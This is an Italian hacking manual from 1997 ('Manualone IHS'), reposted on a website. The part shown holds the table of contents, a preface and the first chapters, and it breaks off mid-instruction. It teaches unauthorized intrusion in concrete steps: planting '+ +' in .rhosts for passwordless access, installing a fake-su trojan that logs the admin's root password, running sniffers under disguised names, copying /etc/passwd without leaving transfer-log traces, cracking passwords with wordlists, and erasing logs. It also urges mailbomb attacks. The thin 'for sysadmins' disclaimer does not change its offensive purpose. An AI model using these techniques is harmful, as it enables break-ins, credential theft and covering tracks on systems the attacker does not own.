Manuali, links, fotografie e tanto altro
alla portata di un semplice click!
 
 Benvenuto Ospite
Manuali, immagini, fotografie e tanto altro a portata di un click

Cartoline virtuali

Cartolina n° 364



Sono presenti 1307 cartoline virtuali. Entra ora


Giochi online
Ping Pong 2


1. emanuele: 94
2. ermesiti: 71
3. Daygo: 65

Visualizza tutti i giochi.

News Reader















Manualone IHS
.: Data Pubblicazione 17-Nov-2004 :: Letture:: 725 :: Recensione :: Stampa solo questa pagina :: Stampa pagina con tutte le sottopagine:.
                       Versione 1.0b di Novembre '97

Scritto e tradotto da Lord KasKo & Turbo Snail di Italian Hacking Service

!!!!!ATTENZIONE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
La IHS non e' responsabile di danni prodotti a persone o cose causate 
dell'applicazione delle informazioni contenute nella guida. La guida e' al solo 
scopo informativo.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

INTRODUZIONE DELLA IHS
----------------------
Ciao Ragazzi e benvenuti nel fantastico mondo dell'hacking. Mancavano proprio 
delle guide in italiano, vero? Ebbene, noi della IHS abbiamo voluto scrivere 
questo manuale in modo da far avvicinare le persone a questo mondo. Questa guida 
e' un insieme di conoscenze personali, di altri testi e di quant'altro. Speriamo 
di aver fatto un buon lavoro e se avete qualche commento scriveteci a 
lordkasko@freeweb.essenet.it

Vogliamo ringraziare Invisible-Evil per la sua bellissima guida da qui abbiamo 
tratto spunto, a noi per essere hacker e a tutti quelli che ci appoggiano, come 
Jader del sito Zona d'Ombra (http://www.abnet.it/zo/index.htm), ed altri hacker 
come InfectedMachine e tutti quelli di SystemDown, gli unici italiani che hanno 
avuto le palle di venir fuori facendo un'ottima rivista. Forza ragazzi !!!!!!

FUCK! a tutti quelli che utilizzano le loro capacita' informatiche per creare 
casino nella nostra comunita', quelli che distruggono siti per il piacere di 
farlo.
FUCK! a chi utilizza internet per intraprendere traffici di bambini e chi 
sostiene i pedofili!!! Invitiamo, come hanno fatto i colleghi di SD, a 
distruggere con mailbomb siti pedofili oppure avvisare le autorita'.....

Infine salutiamo te e ti auguriamo una buona lettura......

Nota :
QUESTO DOCUMENTO CONTIENE DEL CODICE IN C - FATE IN MODO DI NON SALVARE NESSUNA 
MODIFICA.

Se avete altri Exploits,bugs, sniffers o utility che non sono presenti in questo 
testo,per favore inviate una E-Mail a : lordkasko@freeweb.essenet.it

In questo modo potremo mantenervi costantemente aggiornati sulle ultime versioni 
di questo toolkit!

------------------------------------------------------------------------------

Elenco dei contenuti:

Avviso

Prefazione

Capitolo I - I comandi Unix da conoscere assolutamente.

1A. Comandi basilari
    Come ritornare alla propria Home directory
    Come raggiungere facilmente la Home directory di un utente
    Come vedere in quale directory ci si trova
    Come ottenere un manuale completo di ogni comando
1B. Telnet
    Permessi dei file Unix
    Gruppi Unix
    Come cambiare permessi e gruppi
1C. Rlogin
    .rhosts
    Come preparare un file .rhost per fare login senza password
1D. FTP
    Collegarsi al sito,ma mai al di fuori di esso.
    Uso di prompt, hash e bin
    Uso di get, put, mget e mput
1E. GCC (compilatore unix)
    Come inserire un file in un sistema senza doverlo uploadare
    Come copiare dei file nella propria Home directory in modo semplice
    Come compilare dei programmi in C
    Come rinominare a piacere i programmi in C
    Come caricare dei programmi in background mentre ci si sta scollegando
    Controllare i processi usando ps

Capitolo II - Come iniziare (il vostro primo account)

2A.  Come crackare i file delle password
     Come ottenere centinaia di account col vostro primo 'hacked account'
     Perche'avete davvero bisogno di una password crackata in un sistema
     Come ottenere la paasword di root in un sistema non espugnabile
     Usare un falso programma SU
     Documentazione sul falso programma su
     Come ottenere la password del Sysadm
     Come leggere .bash_history
     Cracker jack - un buon password cracker
     Come usare Cracker jack
     File vocabolario
     Cosa serve per iniziare
     Modificare il file vocabolario
     Hash file da usare con Cracker Jack e il vostro file vocabolario
     Hash file da usare con Cracker jack e il vostro file di Password
 
2B. Parlando con dei Novellini
    Come trovare i novellini
    Come ottenere le loro password

2C. La strada piu' complicata.
    Usare finger @
    Dove potrebbe essere la password?
    Ottenere maggiori informazioni da finger.
    Un piccolo file .c da usare se avete fatto progressi.
    Scrivere un piccolo Script in Perl che fa il lavoro al vostro posto.
    Come ottenere una domain list di tutti i domini da rs.internic.net
    Uno Script in Perl per scomporre i domini e porli in ordine in una lista 
    leggibile
    Come eseguire lo script in Perl

 2D. Usare mount per ottenere l'accesso ai sistemi Unix
     Cos'e'nfs mount
     Di cosa si necessita per iniziare
     Come verificare che in un sistema si possa fare il mount dei drive
     Uno script per cercare sistemi sui quali sia possibile fare nfs mount
     Come fare il mount del sistema
     Come fare l'unmount del sistema
     Una dimostrazione dal vero
     Mounting del drive
     Vedere le directory dell'utente
     Editare il Password file della macchina locale
     Come mettere un file .rhosts nelle directory degli utenti
     Come fare rlogin negli account degli utenti

Capitolo III - Come ottenere il file delle Password.

3A. PHF
    Cos'e'il phf
    Usare lynx o Netscape per accedere al phf
    Trovare lo user id tramite WWW
    Come vedere se si e'root tramite phf
    Come trovare il file delle password con phf
    Fare una copia di backup del password file delle vittime
    Cambiare la password di un utente con phf
    Ripristinare le vecchie password.
    Un file .c per inviare comandi al phf dalla vostra shell
    Come usare il file di shell di phf
    Un altro modo di usare il phf - Testo di Quantum
    BindWarez file by Quantum
    Uno script perl che prova OGNI domain su Internet e fa il log degli accessi
    di root e recupera i password file per voi tutto il giorno rimanendo in 
    background.
    Documentazione per lo script appena citato
    Ottenere degli account da /var/?/messages
    Uno script per ottenere le password se si ha accesso a /var/?/messages

3B. Novellini

3C. Ottenere i file shadow passwd 
    Cos'e'una shadow passwd
    Ottenere il file shadow senza l'account di root
    Un file .c per recuperare qualunque file senza l'account di root

3D. Raggiungere /etc/hosts
    per quale motivo andare in /etc/hosts

Capitolo IV - Guadagnare l'account di Root
   
Cosa fare se non si riesce ad ottenere l'accesso di root nel sistema

4A. Bugs
    Introduzione
4B. Exploits
    L'exploit tramite mount/unmount
    Cosa sono i SUID perm's
    Il file .c per l'unmount
    Come compilare unomunt.c
    Exploit di Linux tramite lpr 
    File .c per l'exploit di Linux tramite lpr
    Il file .c per l'exploit con lpr (versione per BSD)
    Come usare lpr
    Guardare i proprietari del gruppo con lpr
    Usate lpr per la prima root,poi fate una SUID shell
    Come ottenere una SUID root shell per futuri accessi di root (root root)
    L'Exploit con splitvt
    Programma .c per l'exploit con splitvt
    Come usare il programma splitvt per l'exploit
    Lo script di shell per l'exploit di root con Sendmail 8.73 - 8.83
    Come usare l'exploit con sendmail per ottenere root access

Capitolo V - Renditi invisibile

Mantenere l'accesso
5A. Zap2 (per wtmp/lastlog/utmp)
    Fare finger all'host prima di login
    Fare login e stare al sicuro
    Come configurare Zap2 
    Trovare la locazione del log file
    Il programma zap.c
5B. Altri script
    l'editor wted per wtmp
    Come fare chmod al file wtmp.tmp
    Come copiare il file wtmp.tmp in wtmp
    Settare il path per il file wtmp in wted
    il file wted.c
    Pulire il lastlog con lled
    Riga di comando per lled
    Come usare lled
    Come fare chmod al file lastlog.tmp 
    Come copiare il file lastlog.tmp in lastlog
    Settare il path per il file lastlog in lled
    Il file lled.c
    Un buon script perl per editare i file wtmp,utmp e controllare i processi

Capitolo VI - Eliminare i log file

6A. Un giro in un sistema hackato 
    Logghiamoci nel sistema
    Cerchiamo l'admin
    Directory nidificate
    Preparare il file di Root
    Diventare invisibili
    Fare il grep della directory dei log
    Sniffare la rete
    Editare il file linsniffer.c
    Dare un'occhiata ai processi che girano
    Compilare e chiamare il programma di sniffing
    Iniziare una sessione di sniff
    Cambiare gli accessi ai file del gruppo
    Realizzare un trojan suid root shell per avere uid=0 gid=0 ogni volta
    Chiamare il Trojan
    Modificare la data dei file
    Controllare il log file dello sniffer
    Svuotare il contenuto degli history files 
    Usare unset per gli history files.
6B. Messaggi e syslog
    Come trovare i logs usando /etc/syslog.conf
    Come vedere se ci sono logs nelle directory nascoste 
    Come vedere se i logs vengono postati agli account degli utenti
    Come vedere se i logs stanno andando su di un'altra macchina
    Come editare syslog.conf per nascondere i login
    Riavviare syslogd
    Come vedere se c'e'un log segreto di su leggendo /etc/login.defs
6C. xferlog.
    Come editare xferlog
    Come greppare ed editare i logs www
    Come cercare i logs ftp
    Altri modi per editare i testi dei log
    Usare grep -v
    Uno script per ricavare linee di testo da questi log
    Riavviare syslogd
6D. I crontabs
    Come trovare e leggere i crontabs di root o dell'admin
    Come vedere se MD5 e settato sulla macchina
    Cos'e'MD5

Capitolo VII - Mantenere l'accesso alla macchina
7A. Trucchi e segreti
    Quando vieni beccato dall'admin
    Cosa aspettarsi dall'admin
    History files
    Directory nidificate
    Inserire dei Trojan
    Directory nascoste
    Creare nuovi comandi (trojans)
    Aggiungere o cambiare delle parti del passwd file
    Modificare alcuni admin account con password nulla 
    Il miglior modo di aggiungere un account
    Editare un account vuoto in modo da potersi loggare
    Installare alcuni giochi o programmi exploitable
    Come conoscere il tuo admin
    Leggere la mail di sistema (senza aggiornare i puntatori)
    Cosa cercare nella directory della mail
    Un programma per leggere la posta senza aggiornare i puntatori
7B. Backdoors
7C. Root Kits e trojan
    Cosa sono i Root kit
    Cosa sono i Demon kit
    Cosa fanno i trojan


*********************************************************
* Appendice I - Cosa fare dopo un accesso                *
*********************************************************
  La Check list dalla a alla z

****************************************************
* Appendice II - Siti Hacking / Security WWW / ftp *
****************************************************


*********************************************************
* Appendice III - FILES UUENCODATI                      *
*********************************************************

1. Quantum's Bindwarez -File binari per PHF
2. Demon Root Kit - Include: Banish, DemonPing, DemonSu, DemonTelnet
3. Linux Root Kit - Include: Login, Netstat, and, PS
4. Programma Fake SU 


**********
Avviso!!!
**********

E' vero, questo manuale aiutera' gli hackers ad entrare nei sistemi ma e' da 
considerarsi anche come una guida per i Sysadm per affrontare i problemi 
riguardanti la sicurezza e per conoscere quali siano gli elementi da 
controllare in modo da tenere fuori gli hacker. 

Se usi questo manuale per guadagnare l'accesso ad un qualunque sistema al quale 
non appartieni e danneggi una sua qualsiasi parte sei punibile a norma di legge.

Non sto dicendo di entrare nei sistemi, sto soltanto dicendo qualcosa della mia 
esperienza e delle cose che farei se entrassi dentro al mio stesso sistema.

Questa e' solo una informazione ....

**********
Prefazione
**********

Ok, cominciamo. Se hai intenzione di fare dell'hacking, devi farlo per una 
ragione. Tutti gli hackers hanno una ragione per farlo. La maggior parte ha solo 
sete di sapere. La maggior parte di cio' che so l'ho imparata in qualche service 
provider o sulla macchina di qualcun altro.
Sono uno che punta molto sull'esperienza personale.
Se avessi dovuto studiare cio' che so, avrei dovuto leggere 20000 libri solo per 
sapere qualcosa su alcuni file di configurazione, sui messaggi email degli 
amministratori, sui file .bash_history e qualcos'altro su alcuni altri sistemi.

Qui in questo manuale dovresti imparare come essere un "hacker completo" e 
sviluppare un tuo stile. Non ci vorra' molto ma ci vorra' un po' di esperienza 
prima di poterti considerare davvero un hacker.

Non basta sapere crackare un file di password ed entrare in una macchina unix 
per considerarti un hacker. 
Ok, sai come ottenere l'accesso di root in un sistema! Non sei ancora un hacker! 
Prima devi sapere perche' sei un hacker e poi avere un tuo stile e una tua 
filosofia. Ci vuole uno scopo ed una ragione per entrare in qualunque sistema. 
Il vero hacker sa perche' sta facendo qualcosa, e lo fa per ragioni come il 
sapere, l'informazione, e l'ACCESSO. Il vero hacker trasformera' un hack in 
accessi a molti diversi sistemi e provider e manterra' questi accessi per 
conoscenze future e per maggiori informazioni. 

Gli hacker da quattro soldi non saranno invisibili e faranno molte sciocchezze 
come: cancellare e corrompere dati, fare cadere le macchine, lanciare dei bot o 
dei client IRC dagli account di root o dare a tutti le password che ha crackato 
per far sapere a tutti che sa fare dell'hacking. O potrebbere fare sciocchezze 
che lo portera' ad essere beccato. Penso che talvolta questo venga fatto di 
proposito per attirare su di se' l'attenzione in modo da essere beccato ed 
annunciare che sono hacker, e che c'era anche lui! 
Un vero Hacker non cerca questo tipo di gloria, vuole l'accesso e vuole 
mantenerlo ed essere invisibile! Non dira' a molti amici riguardo il sistema, 
non dara' in giro le password o gli account e terra' gli altri 
fuori in modo da mantenere l'accesso e tenerlo il piu' possibile pulito.
 
Qui in questo manuale spero di aver messo abbastanza stile in modo che tu possa 
davvero interessarti a quest'opera e diventare cosi' un vero buon hacker!

HAPPY HACKING!!!

--------------------------
Capitolo I
Comandi unix da conoscere.
--------------------------

Ci sono solo pochi comandi basilari da imparare, e poi anche alcuni programmi 
unix che ti aiuteranno a collegarti, a penetrare nel sistema o a mantenere 
l'accesso ad una macchina.

Chiama il tuo Internet Provider locale e chiedi loro uno shell account in modo 
da poter imparare e fare della pratica su questi comandi base. Un normale 
account di shell non e' in genere caro.


----------------
Sezione 1A
Comandi basilari
----------------

Spero tu abbia una conoscenza di base del DOS, che ti aiutera' un po' e partiro' 
da questo presupposto durante la stesura di questo manuale.
A sinistra ci sono i comandi DOS, a destra i corrispettivi comandi UNIX:

RICORDA: Unix e'case-sensitive, cosi' se qui si usa il minuscolo devi farlo 
anche tu; se io uso lo spazio lo devi fare anche tu. Dos ti lascera' passare 
tante di queste cose: unix NO!

DIR/W      = ls
DIR        = ls -l
DIR/AH     = ls -al  AH=(hidden) -al=(include anche i file nascosti)
RENAME     = mv
ATTRIB     = chmod
MD         = mkdir
RD         = rmdir
DEL        = rm
COPY       = cp

Questi sono i comandi di base, ti suggerisco di guardare il manuale di ciascuno 
di questi comandi direttamente dalla shell unix. Lo puoi fare digitando:  
man comando 
Ciascuno di questi comandi ha dgli switch, come cp -R per copiare file e 
directory. Cosi' dovresti scrivere: 
man cp per vedere tutti gli switch che puoi usare con il comando di copia.

cd (poi premi INVIO) ti portera' sempre alla tua home directory
cp nomefile $HOME copiera' il file nella direcory home.
cd ~nomeutente ti portera' nella Home directory di quell'utente, sempre che tu    
   vi abbia accesso
pwd (premi INVIO) ti dira' in quale directory ti trovi

-------------
Sezione 1B
Telnet
-------------  

Telnet e'un comando che puoi usare da un account di shell, o da un file exe 
(telnet.exe) da Windows, OS/2 e Windows 95 e altri OS che permettono di 
collegarsi ad altre macchine sulla rete. Ci sono altri programmi che 
conoscerai qui, come FTP e rlogin che puoi usare ma ora useremo telnet.

Puoi usare telnet se conosci l'indirizzo IP o il nome dell'host al quale vuoi 
collegarti. Per usare il comando ti serve solo il programma telnet per 
collegarti all'IP o all'host in questo modo:

Telnet netcom.com  oppure  telnet 206.146.43.56

OK, e ora il login:

telnet machine.com

trying .....

Connected to machine.com

Linux 2.0.28 (machine.com) (ttyp0)

machine login:username
password:#######

bash$

Il tuo prompt potrebbe apparire differente, ma noi useremo questo.

Nota qui sopra che ti verra' detto quale OS gira sulla macchina a cui ti sei 
collegato.
Puoi usare questo se raccogli una vasta collezione di passwd file. Prima di 
iniziare a crackarli, ordinali per tipo di O/S facendo soltanto il telnet in 
modo da sapere che sistema usano.
Ci sono altri modi, ma manteniamo questo argomento ancora per un attimo,telnet 
domain.name.com ,dopo aver visto cosa gira su di una macchina prendi nota e 
premi CTRL J per chiudere la connessione.

Metti insieme tutti i tuoi file di passwd in un solo pile che dovrai crackare 
per primo.. Tutto cio' che serve e' un account che funziona per quel sistema, e 
saremo quasi certi che otterremo i permessi di root su quella macchina! Ci sono 
talmente tanti buchi in linux da pensare di non poter penetrare in una di quelle 
macchine!
OK, ora possiamo entrare nel meraviglioso mondo dell'hacking

----------------------
Permessi dei file Unix
----------------------

bash$

bash$ cd /tmp
bash$ ls -l
total 783
-rwx------   1 wood     users           1 Jan 25 18:28 19067haa
-rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
-rw-------   1 rhey19   root       395447 Jan 24 02:59 pop3a13598
-rw-------   1 rhey19   root       395447 Jan 24 03:00 pop3a13600
drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens

Prima cosa: dobbiamo usare lo slash ( / ) al posto del back-slash (  ) per 
accedere alla directory tmp! Unix usa / per la root directory, al contrario del 
DOS che usa appunto il simbolo 
Nota che abbiamo usato ls -l per la directory nel formato "a tutta pagina". Se 
avessimo usato 'ls' avremmo ottenuto cio' che c'e'qui sotto.

bash$ ls
19067haa      filter.14428  pop3a13598    pop3a13600    screens

Con quello che vediamo qui non possiamo dire molto, cosi' perlopiu' useremo ls -
al con -al vedremo anche i file hidden, le directory e i file nascosti 
inizieranno sempre con '.'. Ora guarda:

bash$ ls -al
total 794
drwxrwxrwt   4 root     root         8192 Jan 25 23:05 .
drwxr-xr-x  22 root     root         1024 Dec 28 18:07 ..
-rw-r--r--   1 berry    users           6 Jan 25 23:05 .pinetemp.000
drwxr-xr-x   2 berry    users        1024 Jan 25 23:05 .test
-rwx------   1 wood     users           1 Jan 25 18:28 19067haa
-rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
-rw-------   1 rhey19   root       395447 Jan 24 02:59 pop3a13598
-rw-------   1 rhey19   root       395447 Jan 24 03:00 pop3a13600
drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens

.pinetemp.000 e'un hidden file, and .test e'una directory hidden.

-rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428

riga 1       riga2     riga3
----------------------------

Ora abbiamo bisogno di imparare qualcosa sui permessi, sugli utenti e sui 
gruppi.

La riga #1 indica i permessi del file
La riga #2 indica chi e'il proprietario del file
La riga #3 indica il gruppo di appartenenza del file

I permessi dei file sono raggruppati in 3 gruppi diversi.
Se la linea comincia con una d, e'una directory, se non c'e'la d, e'un file.

- --- --- ---
| |   |   |--------> Other = Chiunque accede alla macchina
| |   |------------> Group = alcuni gruppi possono accedere
| |----------------> User  = Solo il proprietario puo' accedere
|------------------> Marcatore della Directory 

- rw- r-- r--
| |   |   |--------> 'Other' puo' solo leggere i file
| |   |------------> 'Group' puo' solo leggere il file 
| |----------------> 'User' puo' scrivere il file
|------------------> Non e' una directory


- rwx rwx r-x
| |   |   |--------> 'Other' puo' leggere ed eseguire il file
| |   |------------> 'Group' puo' leggere ed eseguire il file
| |----------------> 'User'  puo' scrivere ed eseguire il file
|------------------> Non e' una directory

Il proprietario e' l' 'user name' nella riga #2 e il group name e'il nome nella 
riga #3. Nel DOS i file hanno l'estensione .exe, .com, o .bat per gli 
eseguibili, ma in unix basta la --x nel tuo gruppo 'user', 'other' e 
'group'

Puoi cambiare questi permessi se sei il proprietario del file o se sei ROOT:

---------------------------------------------------------------------------
chmod oug+r filename dara' accesso in lettura del file a tutti e tre i gruppi

chmod og-r filename rendera' il file leggibilie solo dall'utente che possiede il 
file. (nota che - o + settano il valore di verita' del parametro del file).

chmod +x filename rendera' il file eseguibile da tutti.

chown username filename rendera' il file di proprieta' di un altro utente
chgrp groupname filename rendera' il file di proprieta' di un altro gruppo
---------------------------------------------------------------------------

Stai attento a non cambiare i permessi dei file o ti butteranno fuori dal 
sistema. Cambiare le configurazioni del sistema potrebbe solo far saltare altre 
funzioni, cosi' tieni lontane le zampe se non vuoi farti beccare! 
Fai solo cio' di cui sei *SICURO*. Usa solo comandi che conosci, potresti 
ritrovarti a  trascorrere ore a fare un fix di questo tipo:

chown -R username /* Potrebbe tenerti impegnato per un anno! :)

Ti basta stare attento!

Approfondiremo le conoscenze di questo stuff quando sevira'.

------------------
Sezione 1C 
Rlogin
------------------

C'e' un altro comando che puoi usare e che approfondiremo altrove quando diremo 
come usare rlogin per loggarsi ad un sistema senza una password.

Per ora leggi il manuale di rlogin usando man rlogin dalla tua shell.

Il comando base sara':

rlogin -l username hostname
connecting....
password:

bash$

Rlogin necessita che l'utente abbia un file nella home che dica da quale sistema 
si puo' fare rlogin. Questo file .rhosts dovrebbe apparire cosi':

username hostname (or) hostname

Se aggiungi  + + a questo file, lascera' entrare chiunque da qualunque host 
senza password.

Questo file dovrebbe apparire cosi':

----- cut here ------
+ +
_____ cut here ------ 

Se ci sono gia' delle entry potresti aggiungere + + sotto i loro host names, ma 
ricorda che ora noteranno che possono entrare con rlogin senza password. 
Dovresti prendere di mira persone che non hanno ancora un file .rhosts

---------------
Sezione  1D 
FTP
---------------

Un altro modo di fare login e'con FTP. Puoi usare un client windows, o anche 
fare login da una shell.

ftp ftp.domain.com

Questo ti permettera' di fare upload e download dal sito su cui fai hack.
Ricordati di editare il xferlog (vedi la sezione 6d) per coprire le tue tracce 
nel sistema. RICORDA! Non devi MAI fare ftp o telnet fuori dal sistema in cui 
sei penetrato, lavora solo all'interno! Se provieni dal tuo stesso sistema, o da 
un altro account hacked forse stai dando la tua login e la tua password al 
sysadm o ad un altro hacker su quel sistema. Ci potrebbe essere un trojan 
telnetd o ftpd caricato nel sistema, o anche uno sniffer, Ora potresti aver dato 
a qualcuno la tua login e password. E se quel qualcuno e'il sysdam, potrebbe 
pensare che la vendetta e'dolce ;)

Usando ftp da shell, ti suggerisco alcuni comandi:

Dopo esserti loggato, scrivi al prompt i seguenti comandi premendo enter dopo 
ciascuno di essi.

prompt
hash
bin

prompt permettera' di usare comandi del tipo (mget *) o (mput *) e trasferire 
l'intera directory senza che ti venga chiesta la conferma per ciascun file.
                hash marks
hash mostrera' ########### sullo schermo cosicche' si possa vedere la velocita' 
del trasferimento.

bin ti garantira' di ricevere i file nel modo giusto, e se si sta trasferendo un 
file binario potra' essere decompresso.

I comandi di trasferimento sono semplici, get filename, o , put filename, o per 
molti file puoi usare wild cards con mput e mget.

--------------------
Sezione 1E
Compilatore GCC
--------------------

Ci sara' un momento in cui avrai bisogno di compilare un file .c

E' meglio compilarlo sulla macchina in cui stai lavorando. Cosi' fai l'upload o 
usa 'Copia e Incolla' sull'hacked box e compila li' il sorgente. Sei hai 
problemi con il loro compilatore prova a fare l'upload del file precompilato.

Un modo di inviare il file sulla macchina vittima dovrebbe essere quello di 
usare 'copy & paste'. Trova un buon tsr o uno shareware per windows per fare 
cio' se adesso non hai nessun modo per farlo. Puoi copiare lo script da una 
finestra all'altra dentro ad un editor della macchina vittima e in questo modo 
non ci sara' nessun log del download di file ascii.

Per copiare e incollare puoi provare ad aprire un editor sull'hacked box e 
copiare dall'altra sessione, e poi incollare lo script nell'editor e salvare il 
file. In questo modo non ci sara' ancora nulla nello xferlog.

Puoi fare la stessa cosa col file di password. Se decidi di scaricare il file 
delle password con ftp, ricorda di copiarlo nella tua Home con un nome diverso.

bash:/etc:> cp passwd $HOME/plog  copiera' il file chiamato passwd dalla 
directory /etc in cui ti trovi alla tua Home in un file chiamato plog invece di 
passwd.
I SySaDm greppano i xferlogs alla ricerca di chi sta scaricando il file delle 
password.

Un altro modo di inviare/ricevere file all'/dall' hacked box senza comparire nei 
logs e'di aprire una sessione IRC sulla macchina vittima, poi dall'altra 
sessione nella quale sei gia' un utente su IRC, inviare un file usando DCC.

Il comando per inviare i file e'/dcc send  

Sarebbe comodo se tu avessi un bot caricato su IRC quando stai facendo 
dell'hacking cosi potresti inviare i file al bot e lasciare che li riceva 
automanticamente.

Un 'bot' e'un programma robot che puoi caricare in background nello shell 
account e si occupera' di ricevere file,tenere i canali aperti,etc...

Il Compilatore GCC e'semplice...

gcc filename.c -o nomechevuoi

Se stessi per compilare un programma chiamato z2.c che cancella i file log
scriverei questo: 

gcc z2.c -o zap

Otterrei un file eseguibile chiamato zap

Se scrivi solo gcc z2.c otterrai un file chiamato a.out, questo e'l'eseguibile e 
si puo' rinominare ad esempio come Zap col comando

mv a.out Zap

Ora ci sara' un file chiamato Zap che sara' eseguibile invece di a.out.

Vorrai essere sicuro di non chiamare un file con un nome identificabile dal 
SYSadm: se hai uno sniffer chiamato linuxsniffer.c, in fase di compilazione, 
sarebbe meglio cambiare il nome. Ad esempio:

gcc linuxsniffer.c -o lsn

Ricorda anche che a volte per eseguire questi file direttamente nella directory 
dovrai scrivere soltanto il nome del file seguito da .
A volte potrebbe non funzionare a meno che tu preceda con  ./ il nome 
dell'eseguibile, cioe'lsn diverrebbe 

./lsn

A volte avrai bisogno di far girare in background un programma anche dopo il 
logoff, come nel caso appena citato dello sniffer. In questo caso potresti voler 
chiamare lo sniffer con un nome difficilmente identificabile. 
Fallo secondo il tuo stile. MA per farlo rimanere in background mentre non siamo 
loggati devi lanciare il comando seguito da &

lsn&

Se digiti solo lsn, lo schermo si blocchera' e non potrai scrivere mentre fai lo 
sniffing ma se scrivi lsn& lo sniffer verra' caricato e avrai di nuovo il 
prompt.
Il sistema ti fara' sapere che e'stato caricato dandoti il # del process id 
assegnato al programma.

Puoi vedere i processi con il comando ps -x ,potresti voler lanciare  
ps -auxe |more

a= all
u= show user
x= yours
e= env

Su alcune macchine
f=tree
o il comando: pstree

------------------------------------
Capitolo II
Iniziamo! (il tuo primo account)
------------------------------------

Ci sono molti modi per ottenere un account per iniziare. Trattero' ciascun 
argomento per aiutarti a iniziare. 
Tutto cio' che ti serve e' un buon account da cui tirarne fuori a centinaia. 
Pensaci; Potenzialmente ogni macchina linux e' un buon sistema espugnabile. ;)

Ora hai un accesso di root e carichi uno sniffer. Lo sniffer TCP cerchera' i 
processi di login alla rete e fara' il log della login e della password per ogni 
telnet, ftp, o connessione dial-in che viene fatta verso l'esterno o verso 
l'interno del sistema.

Anche se e'una piccola connessione ethernet, ci sono in giro un centinaio di 
password per poche macchine o domini. Se e'un net provider piu' ampio otterrai 
centinaia di account in tutto il mondo. Tutto cio' che ti serve e'un buon accout 
e una password per un sistema da espugnare.  Se sembra che non si possa fare 
l'exploit alla root, potrebbe essere un buon sistema in cui crackare le password 
e scambiare gli account per altri account con hackers o utenti di IRC che stanno 
cercando di caricare un bot ma che non hanno un account di shell o spazio su 
disco per farlo.
MAI scambiare anche una sola password di un sistema del quale hai ottenuto 
accesso di root. Tieniti questi sistemi per te!

Ora vediamo come fare per ottenere il tuo primo account.

------------------------------
Section 2A.
Cracking sul phile di passwd
-----------------------------

Perche'continuare a crackare passowrd per un sistema del quale puoi ottenere 
comunque la maggior parte delle password in 24 ore? Non solo per qull'hacked box 
ma per tutte le altre macchine a cui e'collegato. Se il sistema non e' espugnabile, 
non sprecarci tempo, vai sul prossimo! Piu' avanti potrai scambiare le password 
che hai crackato.

Se ottieni un account di administrator crackato potresti voler leggere i suoi  
history-files e vedere se di solito usa il comando su per accedere molto a root. 
Se e'cosi' puoi usare un Trojan su di lui. Questo scoprira' per te la password 
di root.
Funziona cosi': cambi il suo script di shell in modo che ci sia una directory 
nascosta (.term) va bene,che sia settata nel path prima di tutte le altre. Metti 
un fake-su in .term (o un altra directory). L'Admin digita 'su', tutto sembra 
funzionare, digita la password di root la password e'copiata in un log file in 
/tmp/.elm69, e il trojan su si cancella e riporta un errore di password dicendo 
di provare ancora. L'admin pensa di aver sbagliato qualcosa e lancia di nuovo 
su, ma ora tutto e' ok e riesce a loggarsi.

Troverai il fake su  nell'ultima appendice chiamata 'file uuencodati'.

Fake Su by Nfin8 - i-e

IRC: /msg i-e

1,2,3...ecco fatto!

1. Cambia il path in uno degli user account nei quali hai verificato tramite gli 
history-file che il proprietario usa SU,inserisci in testa al path la directory 
dove il trojan  SU file si trova. .term o .elm andranno bene!

2. Assicurati di editare l'inizio del file su.c per mettere il path dove il file 
si trovera' una volta compilato,in modo da potersi auto-cancellare e lasciar 
posto al vero SU per il secondo tentativo.

3. Metti tutti i file nella directory target e compila su.c 

gcc su.c -o su

Ora cancella tutti i file eccetto su. Fatto!

.bash_profile divrebbe assomigliare a questo:

# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
                fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin
ENV=$HOME/.bashrc
USERNAME=""

export USERNAME ENV PATH

Cambia la prima riga in: PATH=$HOME/.term:$PATH:$HOME/bin

Quando il sysadm lancia 'SU' lancera' il trojan nella directory .term e 
riportera' il messaggio che la password digitata e'errata, il Trojan SU avra' 
messo un file hidden nella directory  /tmp per te che contiene la password di 
root (o la password dell'account)  che e'stata digitata. Se e'un account 
piuttosto che root potrai sapere il nome dell'account. Poi il trojan su si 
cancellera' in modo che la volta successiva si avviera' il vero SU .

Puoi trovare la password dell'amministratore nella sezione iniziale del file di 
password nella directory /etc. Digita: more passwd

Puoi stare certo che i primi due account reali che si trovano nel password file 
sono degli amministratori. 
A volte ne puoi trovare altre nelle rispettive directory che sono indicate nel 
passwd file. 
Come /staff/username.

Gli History file sono in ciascuna directory di user account. Puoi leggerli per 
vedere quali sono gli ultimi comandi digitati dall'utente. Qualche volta anche 
piu' di 100 comandi. Cerca il file .bash_history, o History,puoi leggerli col 
comando more. more .bash_history, oppure spesso puoi usare more .b* oppure 
scrivere more .b (e poi premere il tasto TAB sulla tastiera).

Ok, ora ti serve un buon programma per crackare le password. Nel prossimo 
capitolo scoprirai come ottenere il file di passwd nei sistemi in cui possiedi 
un account, ma ti serve comunque un programma di cracking delle password!!

Ti servono 3 cose.

1. Programma per il cracking delle password
2. Un buon word file
3. Un file di password 
(N.B. il phile di passwd deve essere il piu' possibile aggiornato, altrimenti 
rischiate di perdere del tempo con password che sono gia' state cambiate dai 
proprietari)

Il migliore programma di passwd cracking dovrebbe essere CRACKERJACK (anche John 
the Ripper funziona davvero bene!) Entrambi possono essere cercati facilmente su 
Web. Scarica,ad esempio, crackerjack. Se sei un po' piu' esperto puoi scaricare 
una versione di cjack per unix e lanciarlo in una shell. Ma se stai iniziando, 
cerca la versione per DOS/OS2.

Cerca anche un buon Word file. I migliori contengono nomi.
Troverai che le password meno sicure sono i nomi delle ragazze degli utenti o i 
nomi dei ragazzi delle utenti ;)) Troverai wordfile del tipo 'familynames' 
'babynames' 'girlsnames' 'boysnames' 'commonpasswords' Hackersdict' e file 
similari dovrebbero essere una buona scelta.

lancia crackerjack cosi':

[D:jack]jack

Cracker Jack version 1.4 for OS/2 and DOS (386)
